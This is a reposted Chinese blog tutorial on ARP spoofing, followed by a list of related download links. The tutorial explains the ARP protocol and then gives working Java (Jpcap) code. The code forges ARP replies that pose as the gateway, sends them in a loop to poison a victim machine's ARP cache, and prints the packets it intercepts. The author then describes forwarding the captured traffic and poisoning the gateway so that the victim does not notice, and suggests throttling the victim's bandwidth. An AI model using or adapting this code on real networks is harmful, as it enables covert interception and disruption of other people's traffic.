`
yajie
  • 浏览: 206870 次
  • 性别: Icon_minigender_1
  • 来自: 北京
文章分类
社区版块
存档分类
最新评论

JAVA ARP欺骗 封包修改(转)

阅读更多

ARP(Address Resolution Protocol)既地址解释协议,主要的目的是用于进行IP和MAC地址解释的。IP是网络层协议,而MAC是被数据链路层使用。网络中两个节点要进行 通信,那么首先发送端必须要知道源和目的地的MAC地址,而网络层是使用IP地址,所以要获得MAC地址,就必须通过IP地址获取对应的MAC地址,这样 就需要使用ARP协议将IP地址转换为MAC地址,而同时为了能够快速的找到目的地的MAC地址,每个节点都会有一个ARP缓存,用于保存已经转好好的 MAC地址,大家可以在控制台下使用arp –a指令查看arp缓存表。

      而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候,系统会首先检查ARP表中是否存在对应的IP地址,如果没有,则发送一个ARP广 播,当某一个拥有这个MAC地址的节点收到ARP请求的时候,会创建一个ARP reply包,并发送到ARP请求的源节点,ARP Reply包中就包含了目的地节点的MAC地址,在源节点接受到这个reply后,会将目的地节点的MAC地址保存在ARP缓存表中,下一次再次请求同一 IP地址的时候,系统将会从ARP表中直接获取目的地MAC地址,而不需要再次发送ARP广播。

      看到这里,ARP的具体过程大概讲解了一遍,希望能够解释清楚。相信有心的朋友一定已经开始考虑ARP欺骗的原理了吧,其实就是利用ARP表进行ARP欺 骗,比如一台局域网内的机器A,通过网关B进行internet连接,而它的arp表中保存着网关B的IP和MAC地址对,如下:

192.168.1.1    —>    MAC1(懒得写那么长了,就以MAC1作为MAC地址了)


那么也就是说,当A想上网的时候,他所有的数据都将先发送到网关再由网关转发出去,那么A的数据首先会通过192.168.1.1找到网关的 MAC地址 MAC1,然后就可把数据发送到网关了。此时你的机器是C,MAC地址是MAC2,你想通过ARP欺骗来获取A传输的数据,那么你所需要做的事情其实很简 单,就是将机器A的ARP表中192.168.1.1对应的MAC地址MAC1改成MAC2即可,这样子机器A所有发送到192.168.1.1的数据就 会发到MAC地址为MAC2的机器上,也就是你的机器上了。


要更改APR表的记录,办法就是伪造一个ARP reply包发送给机器A,而这个ARP reply包中的源IP为192.168.1.1,MAC地址为MAC2既你的机器的MAC地址即可,机器A接受到后就会将这个源IP和MAC刷新到它的 ARP缓存表中,覆盖原有的记录,最终这样就可以达到ARP欺骗的目的了。


讲到这里不知道大家是否对ARP欺骗有所了解呢?如果再不了解那就上网搜搜吧,网上很多相关的资料。好了,原理讲完了,那就轮到实现了,通过JAVA又如何实现ARP欺骗呢?


从头到尾来做,当然不是我的作风,JAVA社区那么庞大,我么应该好好利用,要站在巨人的肩膀上成功嘛,呵呵。有一个开源项目JPCAP,这个项目提供一个中间层接口让使用者可以调用如wincap/libpcap这些库对网络传输进行控制,具体可到官方网站查看其文档。


在这里,我实现了一个简单的封包截取程序,根据ARP欺骗的原理,我们所需要做的事情如下:

1、 构建一个ARP Reply包

2、 将该封包发送到需要欺骗的机器

Java代码
  1. public   class  LocalListener {  
  2.   
  3.   
  4.     private   final   static  String GATE_IP =  "192.168.11.1" ;  
  5.   private   final   static   byte [] GATE_MAC = { 0x00 0x0a , ( byte 0xc5 ,   
  6. 0x42 0x6e , ( byte 0x9a };  
  7.     private  JpcapCaptor jpcap; //与设备的连接   
  8.     private  JpcapSender sender;   //用于发送的实例   
  9.     private  Packet replyPacket; //ARP reply包   
  10.     private  NetworkInterface device; //当前机器网卡设备   
  11.     private  IpMacMap targetIpMacMap; //目的地IP MAC对   
  12.   
  13.   
  14.     public  LocalListener(IpMacMap target)  throws  Exception {  
  15.         NetworkInterface[] devices =JpcapCaptor.getDeviceList();                
  16.         device = devices[1 ];  
  17.         this .targetIpMacMap = target;  
  18.         initSender();  
  19.         initPacket();  
  20.     }  
  21.   
  22.   
  23.     private   void  initSender()  throws  Exception {  
  24.         jpcap = JpcapCaptor.openDevice(device, 2000 false 10000 );     //打开与设备的连接   
  25.         jpcap.setFilter("ip" true );                                 //只监听ip数据包   
  26.         sender = jpcap.getJpcapSenderInstance();  
  27.     }  
  28.   
  29.   
  30.     private   void  initPacket()  throws  Exception {  
  31.         //reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表   
  32.         IpMacMap targetsSd = new  IpMacMap(GATE_IP, device.mac_address);   
  33.         //创建修改目标机器ARP的包   
  34.         replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);  
  35.         //创建以太网头信息,并打包进reply包   
  36.         replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),  
  37.                 device.mac_address);  
  38.     }  
  39.   
  40.   
  41.     public   void  listen()  throws  InterruptedException{  
  42.         Thread t = new  Thread( new  Runnable() {  
  43.             public   void  run() {  
  44.               //发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送   
  45.                 while ( true ){  
  46.                     send();   
  47.                     try  {  
  48.                         Thread.sleep(500 );  
  49.                     } catch  (InterruptedException ex) {  
  50.                         Logger.getLogger(LocalListener.class .getName()).log(Level.SEVERE,  null , ex);  
  51.                     }  
  52.                 }  
  53.             }  
  54.         });  
  55.         t.start();  
  56.         //截获当前网络设备的封包收发信息   
  57.         while ( true ){  
  58.             IPPacket ipPacket = (IPPacket)jpcap.getPacket();  
  59.             System.out.println(ipPacket);  
  60.         }  
  61.     }}  
  62.   
  63.   
  64.   
  65.   
  66.   
  67. //IP-MAC实体,只用于保存一对IP-MAC地址   
  68. public   class  IpMacMap {  
  69.     private  String ip;  
  70.     private   byte [] mac;  
  71.   
  72.   
  73.     public  IpMacMap(){  
  74.     }  
  75.      
  76.     public  IpMacMap(String ip,  byte [] mac){  
  77.         this .ip = ip;  
  78.         this .mac = mac;  
  79.     }  
  80.      
  81.     public  String getIp() {  
  82.         return  ip;  
  83.     }  
  84.   
  85.   
  86.     public   void  setIp(String ip) {  
  87.         this .ip = ip;  
  88.     }  
  89.   
  90.   
  91.     public   byte [] getMac() {  
  92.         return  mac;  
  93.     }  
  94.   
  95.   
  96.     public   void  setMac( byte [] mac) {  
  97.         this .mac = mac;  
  98.     }   
  99.      
  100. }  
  101.   
  102.   
  103. //ARP reply包生成类,用于根据目的地址和源地址生成reply包   
  104. public   class  ARPPacketGern{  
  105.   
  106.   
  107.     public   static  ARPPacket genPacket(IpMacMap target, IpMacMap sender)  throws  Exception{  
  108.         ARPPacket arpTarget = new  ARPPacket();  
  109.         arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;  //选择以太网类型(Ethernet)   
  110.         arpTarget.prototype = ARPPacket.PROTOTYPE_IP;        //选择IP网络协议类型   
  111.         arpTarget.operation = ARPPacket.ARP_REPLY;              //选择REPLY类型   
  112.         arpTarget.hlen = 6 ;                               //MAC地址长度固定6个字节   
  113.         arpTarget.plen = 4 ;                               //IP地址长度固定4个字节   
  114.         arpTarget.target_hardaddr = target.getMac();  
  115.         arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();  
  116.         arpTarget.sender_hardaddr = sender.getMac();  
  117.         arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();  
  118.         return  arpTarget;  
  119.     }  
  120. }  
  121.   
  122.   
  123. //根据目的地MAC和源MAC构建以太网头信息,用于传输数据   
  124. public   class  EthernetPacketGern{  
  125.     public   static  EthernetPacket genPacket( byte [] targetMac,  byte [] senderMac)  throws  Exception {  
  126.         EthernetPacket ethToTarget = new  EthernetPacket();           //创建一个以太网头   
  127.         ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;  //选择以太包类型   
  128.         ethToTarget.dst_mac = targetMac;  
  129.         ethToTarget.src_mac = senderMac;         
  130.         return  ethToTarget;  
  131.     }  
  132. }  
public class LocalListener {


    private final static String GATE_IP = "192.168.11.1";
  private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 
0x42, 0x6e, (byte) 0x9a};
    private JpcapCaptor jpcap;//与设备的连接
    private JpcapSender sender;  //用于发送的实例
    private Packet replyPacket;//ARP reply包
    private NetworkInterface device;//当前机器网卡设备
    private IpMacMap targetIpMacMap;//目的地IP MAC对


    public LocalListener(IpMacMap target) throws Exception {
        NetworkInterface[] devices =JpcapCaptor.getDeviceList();              
        device = devices[1];
        this.targetIpMacMap = target;
        initSender();
        initPacket();
    }


    private void initSender() throws Exception {
        jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);    //打开与设备的连接
        jpcap.setFilter("ip", true);                                //只监听ip数据包
        sender = jpcap.getJpcapSenderInstance();
    }


    private void initPacket() throws Exception {
        //reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表
        IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address); 
        //创建修改目标机器ARP的包
        replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);
        //创建以太网头信息,并打包进reply包
        replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
                device.mac_address);
    }


    public void listen() throws InterruptedException{
        Thread t = new Thread(new Runnable() {
            public void run() {
              //发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送
                while(true){
                    send(); 
                    try {
                        Thread.sleep(500);
                    } catch (InterruptedException ex) {
                        Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);
                    }
                }
            }
        });
        t.start();
        //截获当前网络设备的封包收发信息
        while(true){
            IPPacket ipPacket = (IPPacket)jpcap.getPacket();
            System.out.println(ipPacket);
        }
    }}





//IP-MAC实体,只用于保存一对IP-MAC地址
public class IpMacMap {
    private String ip;
    private byte[] mac;


    public IpMacMap(){
    }
   
    public IpMacMap(String ip, byte[] mac){
        this.ip = ip;
        this.mac = mac;
    }
   
    public String getIp() {
        return ip;
    }


    public void setIp(String ip) {
        this.ip = ip;
    }


    public byte[] getMac() {
        return mac;
    }


    public void setMac(byte[] mac) {
        this.mac = mac;
    } 
   
}


//ARP reply包生成类,用于根据目的地址和源地址生成reply包
public class ARPPacketGern{


    public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
        ARPPacket arpTarget = new ARPPacket();
        arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;  //选择以太网类型(Ethernet)
        arpTarget.prototype = ARPPacket.PROTOTYPE_IP;        //选择IP网络协议类型
        arpTarget.operation = ARPPacket.ARP_REPLY;              //选择REPLY类型
        arpTarget.hlen = 6;                              //MAC地址长度固定6个字节
        arpTarget.plen = 4;                              //IP地址长度固定4个字节
        arpTarget.target_hardaddr = target.getMac();
        arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
        arpTarget.sender_hardaddr = sender.getMac();
        arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
        return arpTarget;
    }
}


//根据目的地MAC和源MAC构建以太网头信息,用于传输数据
public class EthernetPacketGern{
    public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
        EthernetPacket ethToTarget = new EthernetPacket();          //创建一个以太网头
        ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;  //选择以太包类型
        ethToTarget.dst_mac = targetMac;
        ethToTarget.src_mac = senderMac;       
        return ethToTarget;
    }
}


如上代码实现了创建一个发送到IP为192.168.11.4的机器的ARP reply封包,其中可看到,reply包中的源IP为192.168.11.1,而源MAC则被改成当前机器的MAC地址,既 device.mac_address,这样当192.168.11.4的机器接收到该reply包后,就会刷新ARP表,并且所有发送往 192.168.11.1的数据都会实际发送到当前运行该程序的机器。程序中创建了一个线程用于循环发送reply封包,主要是因为ARP表会在一定时间 内更新,所以要不停的发送才能保证其MAC地址时刻都是被改变的。同时主线程用于监听并打印当前设备的所有IP数据包信息,本来此方法只能监听到本机数据 包的信息,但由于使用了ARP欺骗,所以你会在192.168.11.4发送数据到192.168.11.1的时候截获其数据包,并看到类似如下的信息:

1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922) TCP 1337 > 8016 seq(1062321893) win(65535) S

    其实上例程序虽然可以截获并监听192.168.11.4的数据包,但是如果真的运行起来后,192.168.11.4的机器将会无法上网(假设该机器通过192.168.11.1作为网关上网),这又是为何呢?

    这就是因为本机截获了192.168.11.4的封包,但是却没有将封包转发出去,所以实际上数据包到了你的机器上后就被中断了,数据包无法发送出去。既 然要监听对方机器,当然不能让对方知道啦,如果你监听了那台机器,却导致对方无法上网,傻子也知道有问题啦,所以以上程序仍然要加个补充,那就是将封包数 据在转发到192.168.11.1上,只要将截获的封包再send出去就可以了,具体如何做就留给大家想吧,困了,休息了,如果有朋友有兴趣又实在想不 出如何做的话,可以向我提出来,有必要的话,下次再贴一个完整点的例子吧。

    对了,最后还有补充的地方,那就是我们可以通过同样的方式刷新网关的ARP,这样网关接受到的数据也会被本机截获,同样再通过本机转发到目的机器即可。这 样对方既可正常上网,而我们又可截获对方的数据包,如果要进行限速的话,那就是在截获封包的同时,进行一定的延时,比如一秒只允许多少K的数据通过,都可 以在这里做手脚,同样的,具体如何留给大家想吧。 click it->

1
0
分享到:
评论

相关推荐

    ARP监听 ARP欺骗

    ARP 监听 欺骗 ARP监听 ARP欺骗 以太网的ARP监听 以太网的ARP欺骗 Ethernet arp监听 Ethernet arp欺骗 ARP 监听 欺骗 ARP监听 ARP欺骗 以太网的ARP监听 以太网的ARP欺骗 Ethernet arp监听 Ethernet arp欺骗

    arp欺骗 C#实现arp欺骗

    arp欺骗 C#实现arp欺骗arp欺骗 C#实现arp欺骗arp欺骗 C#实现arp欺骗

    arp欺骗源码

    一个基于arp欺骗工具的源码,欺骗目标ip可以插入指定代码.

    基于winpcap的mfc arp欺骗

    相比于之前的arp欺骗程序 修正了程序堆栈溢出的问题,添加了winpcap开发库,自动获取往电脑设置的网关(只需修改适配器名称),并且可以在网卡列表选择指定网卡发送数据包

    用java实现ARP报文的发送

    用java实现ARP报文的发送,通过jpcap来调用winpcap。对所用到的几个类进行了描述。

    ARP欺骗原理及实现

    描述ARP的主要协议格式以及ARP的主要原理,介绍了ARP欺骗的主要原理和模拟实现过程。

    ARP欺骗挂马的教程

    ARP欺骗挂马的教程

    神州数码培训ARP欺骗防护ppt

    神州数码培训ARP欺骗防护ppt神州数码培训ARP欺骗防护ppt神州数码培训ARP欺骗防护ppt神州数码培训ARP欺骗防护ppt神州数码培训ARP欺骗防护ppt神州数码培训ARP欺骗防护ppt神州数码培训ARP欺骗防护ppt神州数码培训ARP...

    arp欺骗原理实验

    arp欺骗实验

    arp欺骗的实现代码

    arp欺骗的具体代码实现,在网络原理中有讲到arp欺骗的原理。可是用C语言代码如何实现呢?此代码就是arp欺骗的具体代码。

    局域网受到ARP欺骗攻击的解决办法

    局域网受到ARP欺骗攻击的解决办法 当局域网内某台主机运行ARP欺骗的木马程序时,会欺骗局域网内所有主机和安全网关,让所有上网的流量必须经过病毒主机。其他用户原来直接通过安全网关上网现在转由通过病毒主机上网...

    java arp jpcap

    java arp jpcap java arp jpcap java arp jpcap java arp jpcap java arp jpcap

    使用JAVA通过ARP欺骗类似P2P终结者实现数据封包监听

    目前网络上类似P2P终结者这类软件,主要都是基于ARP欺骗实现的,网络上到处都有关于ARP欺骗的介绍,不过为了本文读者不需要再去查找,我就在这里大概讲解一下

    arp欺骗检测工具

    arp欺骗检测工具

    arp欺骗技术实验

    ARP协议的基本原理与基本工作过程及ARP欺骗技术,通过arp欺骗软件监听两台主机A和B之间通信的内容,获得有用的数据,懂得防御ARP欺骗的重要性。

    ARP 欺骗检测工具

    ARP欺骗检测工具 ARP欺骗检测工具 ARP欺骗检测工具

    ARP欺骗 课程作业

    ARP欺骗 课程作业

    ARP欺骗检测及修复工具

    如果你的网络经常掉线,或是你能上网周围其他同事上不了网,那你的电脑可能中ARP病毒了,用ARP欺骗检测及修复工具轻松搞定。

    局域网ARP欺骗教程

    局域网ARP欺骗教程

    arp防御软件,arp欺骗利器

    arp,arp防御软件,arp欺骗利器,绝对有用 有说明自己看

Global site tag (gtag.js) - Google Analytics